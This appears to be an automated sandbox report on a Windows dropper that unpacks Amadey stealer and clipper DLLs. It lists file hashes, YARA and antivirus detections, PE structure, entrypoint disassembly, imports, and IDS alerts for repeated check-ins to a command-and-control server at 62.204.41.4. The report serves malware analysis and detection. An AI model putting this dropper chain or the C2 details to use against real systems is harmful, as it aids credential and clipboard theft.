Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......U.M...#...#...#.J. ...#.J.&..#.J.'...#..'...#.. ...#..&.:.#.J."...#..."..#....#.....#.!...#.Rich..#.........PE..L....8.c.............................y............@.......................................@.................................Hm..d................................(...?..p....................@......0@..@............................................text...}........................... ..`.rdata.............................@..@.data....D...........l..............@....rsrc...............................@..@.reloc...(.........................@..B................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\IXP000.TMP\brJg.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	395776
Entropy (8bit):	7.700821822499256
Encrypted:	false
SSDEEP:	6144:Kuy+bnr+Fp0yN90QEdou/MT3yfKRhwgGBP4dN4KuggSKDOjqrYy+znugWIP7FNs+:yMrpy90XMT3ySo9Q/4PSzF/FN0n/tm
MD5:	E61222B4D82A6007A553851456BCC651
SHA1:	3EFB6A00C37F1419CC454C7E37F183BB25239DE6
SHA-256:	A29FD1E2D980E7B3502DEFA0A7184C7E2947055F95396D887294E28D51185690
SHA-512:	D8B0B2B0088E5CA58045140F9B8CB7681EB5AFFAEA2AC015E4B85911F7C0E4E57B4687BA5913A21F1221FD375ACBBB3A293EB0EE0F8B7008B85D320E45A3DF27
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 49%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........%...K..K..K...N..K...H..K...O..K...J..K..J...K...C..K.....K...I..K.Rich..K.........PE..L....`.b.................d..........`j............@..........................`....../x....@...... ......................................d....................P..........T...............................@............................................text....c.......d.................. ..`.data...H............h..............@....idata..R............j..............@..@.rsrc................\|..............@..@.reloc.......P......................@..B........................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\IXP000.TMP\xriv.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	modified
Size (bytes):	241664
Entropy (8bit):	6.368190069123744
Encrypted:	false
SSDEEP:	6144:YS/OgTLnk2FBtze+1T9uA/qruVyhVYjgVO:dO3v+uA+uVyhVvO
MD5:	8BB923C4D81284DAEF7896E5682DF6C6
SHA1:	67E34A96B77E44B666C5479F540995BDEACF5DE2
SHA-256:	9B0410052289A8416A458401FBB9A74D6361F4769465431B209F32151D7C6F21
SHA-512:	2DAED03277A343DB5FCB22E26BAEA5CDA41DE39DC825FE0AAD51F6EC181B8F38F09427F27FB58FFD179F37032600D107EF772CC6275F7D0D62899C6CD3F8AFF7
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\xriv.exe, Author: Joe Security
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 81%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......U.M...#...#...#.J. ...#.J.&..#.J.'...#..'...#.. ...#..&.:.#.J."...#..."..#....#.....#.!...#.Rich..#.........PE..L....8.c.............................y............@.......................................@.................................Hm..d................................(...?..p....................@......0@..@............................................text...}........................... ..`.rdata.............................@..@.data....D...........l..............@....rsrc...............................@..@.reloc...(.........................@..B................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\IXP001.TMP\arJf.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\IXP000.TMP\brJg.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	371712
Entropy (8bit):	6.668565124013179
Encrypted:	false
SSDEEP:	6144:x/LzDM0Y/Wuw3iNcTfi5xExViGUTuQj9gZaM5:x/PD8WDyGViBTlj6ZD
MD5:	01BC3DF99AB67BABCDC1577241E3EE87
SHA1:	C11C6465D4DE6B6588B565C577A9EAAD80D409D4
SHA-256:	778BD7B213D42773DEEB1DF58089F30FC9310555A97A9654A90AFB63208BBC9A
SHA-512:	107CA576ED9599A079F9C2E90EDE1F60313A59C0C46B99272665A5D8B56166DC7AF422B9E8CD65C20FD7F878D03C64A06ED0AF943B95967E92B8CCB4AABC6A95
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 28%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........6BX.W,..W,..W,......W,......W,......W,...W..W,..W-..W,......W,......W,......W,.Rich.W,.........PE..L.....}b.............................d.......0....@..........................`......!...........................................x........8...................@.......................................5..@............................................text............................... ..`.data........0......................@....baveke..............4..............@..@.hewi...F............8..............@..@.zax.................R..............@..@.rsrc....8.......:...V..............@..@.reloc..,....@......................@..B........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\IXP001.TMP\nika.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\IXP000.TMP\brJg.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	modified
Size (bytes):	11264
Entropy (8bit):	4.97029807367379
Encrypted:	false
SSDEEP:	96:yA/vMth9sDLibql3A44P9QL4fwmPImg+A03PvXLOzk+gqWYV4J6oP/zNt:yw+wGWt94+iANiCkc4Jhp
MD5:	7E93BACBBC33E6652E147E7FE07572A0
SHA1:	421A7167DA01C8DA4DC4D5234CA3DD84E319E762
SHA-256:	850CD190AAEEBCF1505674D97F51756F325E650320EAF76785D954223A9BEE38
SHA-512:	250169D7B6FCEBFF400BE89EDAE8340F14130CED70C340BA9DA9F225F62B52B35F6645BFB510962EFB866F988688CB42392561D3E6B72194BC89D310EA43AA91
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 82%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L................"...0.."...........@... ...`....@.. ....................................@..................................@..O....`...............................@..8............................................ ............... ..H............text.... ... ...".................. ..`.rsrc........`.......$..............@..@.reloc.............................@..B.................@......H.......T$...............................................................0...........@s.....@...(....&..0..K......... ?...(......~....(....,.r...p.....(....%..(....& ....(....(....&.(....&..0..e.......(....~........+G.....o....r#..p(....,-.o.... ......(....-..(....&(.....o....(....&..X....i2..(....&....0..`.......(....~........+B.....o....r...p(....,(.o.... ......(....-..(....&.o....(....&..X....i2..(....&.0..c......... ?...(......~....(....,.*....(............%...(...

C:\Users\user\AppData\Roaming\c1ec479e5342a2\clip64.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	91136
Entropy (8bit):	6.3469756750979025
Encrypted:	false
SSDEEP:	1536:Fto4NPCKLbqoYkbpplW9YoUsxXzbcouNhj2ZszsWuKcdJU7dz5QIaB89p:roUCWbBNpplToUs1uNhj25LJUDaB89p
MD5:	C79B74D8FEC5E7E2BA2F1789FD582A15
SHA1:	78A1E5D99DBACCC5E07B125E1DFB280112CB3128
SHA-256:	B5BD049D32F0FAEEA6CE65A0F0D326DE5BC4427A7C1AD24BFB0EA050C1DEC7D3
SHA-512:	0DEBFC54904FD538CFB1FC648D18F90A991337200B3DECF74B28AC2F341843FB3BAB4F45BC92CFEC333B18DFFF9CC136854462E79054A39926A7BD8EE2E057BA
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Amadey_3, Description: Yara detected Amadey\'s Clipper DLL, Source: C:\Users\user\AppData\Roaming\c1ec479e5342a2\clip64.dll, Author: Joe Security
Antivirus:	Antivirus: ReversingLabs, Detection: 81%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........,Cy..Cy..Cy.....~Iy.....~.y.....~Qy.....~Ly.....~Ry.....~by.....~Fy..Cy...y.....~@y.....~By......By.....~By..RichCy..........PE..L....8.c...........!.................>....................................................@..........................J......<K..<...............................T... ?..p............................?..@...............,............................text...V........................... ..`.rdata...a.......b..................@..@.data...D....`.......D..............@....rsrc................P..............@..@.reloc..T............R..............@..B........................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\c1ec479e5342a2\cred64.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe
File Type:	HTML document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	162
Entropy (8bit):	4.621829903792328
Encrypted:	false
SSDEEP:	3:qVoB3tURObOb0qHXboAcMBXqWrKb0GklIVLLPROZ/eIwcWWGu:q43tIkObRHXiMIWObtklI5LPROeIpfGu
MD5:	1B7C22A214949975556626D7217E9A39
SHA1:	D01C97E2944166ED23E47E4A62FF471AB8FA031F
SHA-256:	340C8464C2007CE3F80682E15DFAFA4180B641D53C14201B929906B7B0284D87
SHA-512:	BA64847CF1D4157D50ABE4F4A1E5C1996FE387C5808E2F758C7FB3213BFEFE1F3712D343F0C30A16819749840954654A70611D2250FD0F7B032429DB7AFD2CC5
Malicious:	false
Preview:	<html>..<head><title>404 Not Found</title></head>..<body>..<center><h1>404 Not Found</h1></center>..<hr><center>nginx/1.18.0 (Ubuntu)</center>..</body>..</html>..

\Device\ConDrv

Download File

Process:	C:\Windows\SysWOW64\cacls.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	15
Entropy (8bit):	3.240223928941852
Encrypted:	false
SSDEEP:	3:o3F:o1
MD5:	509B054634B6DE74F111C3E646BC80FD
SHA1:	99B4C0F39144A92FE42E22473A2A2552FB16BD13
SHA-256:	07C7C151ADD6D955F3C876359C0E2A3A3FB0C519DD1E574413F0B68B345D8C36
SHA-512:	A9C2D23947DBE09D5ECFBF6B3109F3CF8409E43176AE10C18083446EDE006E60E41C3EA2D2765036A967FC81B085D5F271686606AED4154AE45287D412CF6D40
Malicious:	false
Preview:	processed dir:

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.831493173388932
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	587776
MD5:	3ac20281c213c418608fcea6d744ae8f
SHA1:	694ee56f317c410cce4bb0dec9b1d6b6f4059f48
SHA256:	f33d6a14fc683aa41846e4073347b71810d835e5f7695dd834b98007826ec831
SHA512:	e07863755daa7e2fe075a6541f3bcb05c805eb807bbd6cbbe90bc659dfd1ea5b74d39ab03da1891eefbb32b64897c3ff98f28cd720648c879f0797df988872f6
SSDEEP:	12288:DMrky90ARrgdnN+A+9B1e04d/0htzFDFN0n/tL35gox8j:zyrOVK4dshHP0n/V3Rqj
TLSH:	50C40243B7E84572E8B41B700DFA03C30A36FE915639825B264EBE5E1C73664723676B
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........%...K...K...K...N...K...H...K...O...K...J...K...J...K...C...K.......K...I...K.Rich..K.........PE..L....`.b.................d.

File Icon


Icon Hash:	f8e0e4e8ecccc870

Static PE Info

General

Entrypoint:	0x406a60
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, GUARD_CF, TERMINAL_SERVER_AWARE
Time Stamp:	0x628D60E2 [Tue May 24 22:49:06 2022 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	10
OS Version Minor:	0
File Version Major:	10
File Version Minor:	0
Subsystem Version Major:	10
Subsystem Version Minor:	0
Import Hash:	646167cce332c1c252cdcb1839e0cf48

Entrypoint Preview

Instruction
call 00007F2444AA48A5h
jmp 00007F2444AA41B5h
push 00000058h
push 004072B8h
call 00007F2444AA4947h
xor ebx, ebx
mov dword ptr [ebp-20h], ebx
lea eax, dword ptr [ebp-68h]
push eax
call dword ptr [0040A184h]
mov dword ptr [ebp-04h], ebx
mov eax, dword ptr fs:[00000018h]
mov esi, dword ptr [eax+04h]
mov edi, ebx
mov edx, 004088ACh
mov ecx, esi
xor eax, eax
lock cmpxchg dword ptr [edx], ecx
test eax, eax
je 00007F2444AA41CAh
cmp eax, esi
jne 00007F2444AA41B9h
xor esi, esi
inc esi
mov edi, esi
jmp 00007F2444AA41C2h
push 000003E8h
call dword ptr [0040A188h]
jmp 00007F2444AA4189h
xor esi, esi
inc esi
cmp dword ptr [004088B0h], esi
jne 00007F2444AA41BCh
push 0000001Fh
call 00007F2444AA46DBh
pop ecx
jmp 00007F2444AA41ECh
cmp dword ptr [004088B0h], ebx
jne 00007F2444AA41DEh
mov dword ptr [004088B0h], esi
push 004010C4h
push 004010B8h
call 00007F2444AA4306h
pop ecx
pop ecx
test eax, eax
je 00007F2444AA41C9h
mov dword ptr [ebp-04h], FFFFFFFEh
mov eax, 000000FFh
jmp 00007F2444AA42E9h
mov dword ptr [004081E4h], esi
cmp dword ptr [004088B0h], esi
jne 00007F2444AA41CDh
push 004010B4h
push 004010ACh
call 00007F2444AA4895h
pop ecx
pop ecx
mov dword ptr [000088B0h], 00000000h

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0xa28c	0xb4	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xc000	0x870ec	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x94000	0x888	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x1410	0x54	.text
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x1008	0x40	.text
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0xa000	0x288	.idata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x6314	0x6400	False	0.5744140625	data	6.314163792045976	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.data	0x8000	0x1a48	0x200	False	0.609375	data	4.970639543960129	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0xa000	0x1052	0x1200	False	0.4140625	data	5.025949912909207	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.rsrc	0xc000	0x88000	0x87200	False	0.9312774629972248	data	7.8718708761847305	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x94000	0x888	0xa00	False	0.746484375	data	6.222637930812128	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country
AVI	0xcb30	0x2e1a	RIFF (little-endian) data, AVI, 272 x 60, 10.00 fps, video: RLE 8bpp	English	United States
RT_ICON	0xf94c	0x668	Device independent bitmap graphic, 48 x 96 x 4, image size 1152	English	United States
RT_ICON	0xffb4	0x2e8	Device independent bitmap graphic, 32 x 64 x 4, image size 512	English	United States
RT_ICON	0x1029c	0x1e8	Device independent bitmap graphic, 24 x 48 x 4, image size 288	English	United States
RT_ICON	0x10484	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 128	English	United States
RT_ICON	0x105ac	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 2304, 256 important colors	English	United States
RT_ICON	0x11454	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1024, 256 important colors	English	United States
RT_ICON	0x11cfc	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 576, 256 important colors	English	United States
RT_ICON	0x123c4	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 256, 256 important colors	English	United States
RT_ICON	0x1292c	0xd9d2	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced	English	United States
RT_ICON	0x20300	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	English	United States
RT_ICON	0x228a8	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4224	English	United States
RT_ICON	0x23950	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2400	English	United States
RT_ICON	0x242d8	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088	English	United States
RT_DIALOG	0x24740	0x2f2	data	English	United States
RT_DIALOG	0x24a34	0x35c	data	Russian	Russia
RT_DIALOG	0x24d90	0x1b0	data	English	United States
RT_DIALOG	0x24f40	0x1b4	data	Russian	Russia
RT_DIALOG	0x250f4	0x166	data	English	United States
RT_DIALOG	0x2525c	0x168	data	Russian	Russia
RT_DIALOG	0x253c4	0x1c0	data	English	United States
RT_DIALOG	0x25584	0x1e0	data	Russian	Russia
RT_DIALOG	0x25764	0x130	data	English	United States
RT_DIALOG	0x25894	0x150	data	Russian	Russia
RT_DIALOG	0x259e4	0x120	data	English	United States
RT_DIALOG	0x25b04	0x122	data	Russian	Russia
RT_STRING	0x25c28	0x8c	Matlab v4 mat-file (little endian) l, numeric, rows 0, columns 0	English	United States
RT_STRING	0x25cb4	0x86	Matlab v4 mat-file (little endian) K\0041\0045\004@\0048\004B\0045\004 , numeric, rows 0, columns 0	Russian	Russia
RT_STRING	0x25d3c	0x520	data	English	United States
RT_STRING	0x2625c	0x52e	data	Russian	Russia
RT_STRING	0x2678c	0x5cc	data	English	United States
RT_STRING	0x26d58	0x592	data	Russian	Russia
RT_STRING	0x272ec	0x4b0	data	English	United States
RT_STRING	0x2779c	0x4b2	data	Russian	Russia
RT_STRING	0x27c50	0x44a	data	English	United States
RT_STRING	0x2809c	0x43e	data	Russian	Russia
RT_STRING	0x284dc	0x3ce	data	English	United States
RT_STRING	0x288ac	0x2fc	data	Russian	Russia
RT_RCDATA	0x28ba8	0x7	ASCII text, with no line terminators	English	United States
RT_RCDATA	0x28bb0	0x6940e	Microsoft Cabinet archive data, many, 431118 bytes, 2 files, at 0x2c +A "brJg.exe" +A "xriv.exe", ID 1582, number 1, 20 datablocks, 0x1503 compression	English	United States
RT_RCDATA	0x91fc0	0x4	data	English	United States
RT_RCDATA	0x91fc4	0x24	data	English	United States
RT_RCDATA	0x91fe8	0x7	ASCII text, with no line terminators	English	United States
RT_RCDATA	0x91ff0	0x7	ASCII text, with no line terminators	English	United States
RT_RCDATA	0x91ff8	0x4	data	English	United States
RT_RCDATA	0x91ffc	0x9	ASCII text, with no line terminators	English	United States
RT_RCDATA	0x92008	0x4	data	English	United States
RT_RCDATA	0x9200c	0x9	ASCII text, with no line terminators	English	United States
RT_RCDATA	0x92018	0x4	data	English	United States
RT_RCDATA	0x9201c	0x6	data	English	United States
RT_RCDATA	0x92024	0x7	ASCII text, with no line terminators	English	United States
RT_RCDATA	0x9202c	0x7	ASCII text, with no line terminators	English	United States
RT_GROUP_ICON	0x92034	0xbc	data	English	United States
RT_VERSION	0x920f0	0x408	data	English	United States
RT_VERSION	0x924f8	0x410	data	Russian	Russia
RT_MANIFEST	0x92908	0x7e2	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States

Imports

DLL	Import
ADVAPI32.dll	GetTokenInformation, RegDeleteValueA, RegOpenKeyExA, RegQueryInfoKeyA, FreeSid, OpenProcessToken, RegSetValueExA, RegCreateKeyExA, LookupPrivilegeValueA, AllocateAndInitializeSid, RegQueryValueExA, EqualSid, RegCloseKey, AdjustTokenPrivileges
KERNEL32.dll	_lopen, _llseek, CompareStringA, GetLastError, GetFileAttributesA, GetSystemDirectoryA, LoadLibraryA, DeleteFileA, GlobalAlloc, GlobalFree, CloseHandle, WritePrivateProfileStringA, IsDBCSLeadByte, GetWindowsDirectoryA, SetFileAttributesA, GetProcAddress, GlobalLock, LocalFree, RemoveDirectoryA, FreeLibrary, _lclose, CreateDirectoryA, GetPrivateProfileIntA, GetPrivateProfileStringA, GlobalUnlock, ReadFile, SizeofResource, WriteFile, GetDriveTypeA, lstrcmpA, SetFileTime, SetFilePointer, FindResourceA, CreateMutexA, GetVolumeInformationA, ExpandEnvironmentStringsA, GetCurrentDirectoryA, FreeResource, GetVersion, SetCurrentDirectoryA, GetTempPathA, LocalFileTimeToFileTime, CreateFileA, SetEvent, TerminateThread, GetVersionExA, LockResource, GetSystemInfo, CreateThread, ResetEvent, LoadResource, ExitProcess, GetModuleHandleW, CreateProcessA, FormatMessageA, GetTempFileNameA, DosDateTimeToFileTime, CreateEventA, GetExitCodeProcess, FindNextFileA, LocalAlloc, GetShortPathNameA, MulDiv, GetDiskFreeSpaceA, EnumResourceLanguagesA, GetTickCount, GetSystemTimeAsFileTime, GetCurrentThreadId, GetCurrentProcessId, QueryPerformanceCounter, TerminateProcess, SetUnhandledExceptionFilter, UnhandledExceptionFilter, GetStartupInfoW, Sleep, FindClose, GetCurrentProcess, FindFirstFileA, WaitForSingleObject, GetModuleFileNameA, LoadLibraryExA
GDI32.dll	GetDeviceCaps
USER32.dll	SetWindowLongA, GetDlgItemTextA, DialogBoxIndirectParamA, ShowWindow, MsgWaitForMultipleObjects, SetWindowPos, GetDC, GetWindowRect, DispatchMessageA, GetDesktopWindow, CharUpperA, SetDlgItemTextA, ExitWindowsEx, MessageBeep, EndDialog, CharPrevA, LoadStringA, CharNextA, EnableWindow, ReleaseDC, SetForegroundWindow, PeekMessageA, GetDlgItem, SendMessageA, SendDlgItemMessageA, MessageBoxA, SetWindowTextA, GetWindowLongA, CallWindowProcA, GetSystemMetrics
msvcrt.dll	_controlfp, ?terminate@@YAXXZ, _acmdln, _initterm, __setusermatherr, _except_handler4_common, memcpy, _ismbblead, __p__fmode, _cexit, _exit, exit, __set_app_type, __getmainargs, _amsg_exit, __p__commode, _XcptFilter, memcpy_s, _vsnprintf, memset
COMCTL32.dll
Cabinet.dll
VERSION.dll	GetFileVersionInfoA, VerQueryValueA, GetFileVersionInfoSizeA

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States
Russian	Russia

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
192.168.2.762.204.41.449808802027700 02/06/23-18:36:19.520673	TCP	2027700	ET TROJAN Amadey CnC Check-In	49808	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449869802027700 02/06/23-18:36:34.178044	TCP	2027700	ET TROJAN Amadey CnC Check-In	49869	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450136802027700 02/06/23-18:37:49.465984	TCP	2027700	ET TROJAN Amadey CnC Check-In	50136	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450329802027700 02/06/23-18:38:39.784785	TCP	2027700	ET TROJAN Amadey CnC Check-In	50329	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449906802027700 02/06/23-18:36:47.288237	TCP	2027700	ET TROJAN Amadey CnC Check-In	49906	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450295802027700 02/06/23-18:38:31.730774	TCP	2027700	ET TROJAN Amadey CnC Check-In	50295	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450041802027700 02/06/23-18:37:24.611334	TCP	2027700	ET TROJAN Amadey CnC Check-In	50041	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450099802027700 02/06/23-18:37:39.765161	TCP	2027700	ET TROJAN Amadey CnC Check-In	50099	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450197802027700 02/06/23-18:38:04.844993	TCP	2027700	ET TROJAN Amadey CnC Check-In	50197	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450332802027700 02/06/23-18:38:40.516329	TCP	2027700	ET TROJAN Amadey CnC Check-In	50332	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449774802027700 02/06/23-18:36:09.754520	TCP	2027700	ET TROJAN Amadey CnC Check-In	49774	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449872802027700 02/06/23-18:36:35.424116	TCP	2027700	ET TROJAN Amadey CnC Check-In	49872	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450038802027700 02/06/23-18:37:23.886376	TCP	2027700	ET TROJAN Amadey CnC Check-In	50038	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450234802027700 02/06/23-18:38:15.320717	TCP	2027700	ET TROJAN Amadey CnC Check-In	50234	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449811802027700 02/06/23-18:36:20.234434	TCP	2027700	ET TROJAN Amadey CnC Check-In	49811	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449967802027700 02/06/23-18:37:04.009354	TCP	2027700	ET TROJAN Amadey CnC Check-In	49967	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449746802027700 02/06/23-18:36:02.941804	TCP	2027700	ET TROJAN Amadey CnC Check-In	49746	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450074802027700 02/06/23-18:37:33.782821	TCP	2027700	ET TROJAN Amadey CnC Check-In	50074	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450172802027700 02/06/23-18:37:58.795470	TCP	2027700	ET TROJAN Amadey CnC Check-In	50172	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450270802027700 02/06/23-18:38:23.999396	TCP	2027700	ET TROJAN Amadey CnC Check-In	50270	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449844802027700 02/06/23-18:36:28.246222	TCP	2027700	ET TROJAN Amadey CnC Check-In	49844	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450304802027700 02/06/23-18:38:33.925233	TCP	2027700	ET TROJAN Amadey CnC Check-In	50304	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449939802027700 02/06/23-18:36:57.241621	TCP	2027700	ET TROJAN Amadey CnC Check-In	49939	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450066802027700 02/06/23-18:37:30.995908	TCP	2027700	ET TROJAN Amadey CnC Check-In	50066	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450267802027700 02/06/23-18:38:23.274292	TCP	2027700	ET TROJAN Amadey CnC Check-In	50267	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450013802027700 02/06/23-18:37:17.791988	TCP	2027700	ET TROJAN Amadey CnC Check-In	50013	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449897802027700 02/06/23-18:36:42.089661	TCP	2027700	ET TROJAN Amadey CnC Check-In	49897	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449816802027700 02/06/23-18:36:21.444072	TCP	2027700	ET TROJAN Amadey CnC Check-In	49816	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450144802027700 02/06/23-18:37:52.098502	TCP	2027700	ET TROJAN Amadey CnC Check-In	50144	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450239802027700 02/06/23-18:38:16.554901	TCP	2027700	ET TROJAN Amadey CnC Check-In	50239	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449779802027700 02/06/23-18:36:10.997636	TCP	2027700	ET TROJAN Amadey CnC Check-In	49779	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449975802027700 02/06/23-18:37:05.978493	TCP	2027700	ET TROJAN Amadey CnC Check-In	49975	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449934802027700 02/06/23-18:36:56.059242	TCP	2027700	ET TROJAN Amadey CnC Check-In	49934	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450262802027700 02/06/23-18:38:22.083151	TCP	2027700	ET TROJAN Amadey CnC Check-In	50262	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450108802027700 02/06/23-18:37:41.895553	TCP	2027700	ET TROJAN Amadey CnC Check-In	50108	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449738802027700 02/06/23-18:36:01.020544	TCP	2027700	ET TROJAN Amadey CnC Check-In	49738	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449970802027700 02/06/23-18:37:04.713405	TCP	2027700	ET TROJAN Amadey CnC Check-In	49970	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450357802027700 02/06/23-18:38:48.553891	TCP	2027700	ET TROJAN Amadey CnC Check-In	50357	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450340802027700 02/06/23-18:38:42.464572	TCP	2027700	ET TROJAN Amadey CnC Check-In	50340	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450103802027700 02/06/23-18:37:40.718413	TCP	2027700	ET TROJAN Amadey CnC Check-In	50103	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449990802027700 02/06/23-18:37:09.711792	TCP	2027700	ET TROJAN Amadey CnC Check-In	49990	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449892802027700 02/06/23-18:36:40.888979	TCP	2027700	ET TROJAN Amadey CnC Check-In	49892	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450352802027700 02/06/23-18:38:47.330598	TCP	2027700	ET TROJAN Amadey CnC Check-In	50352	80	192.168.2.7	62.204.41.4
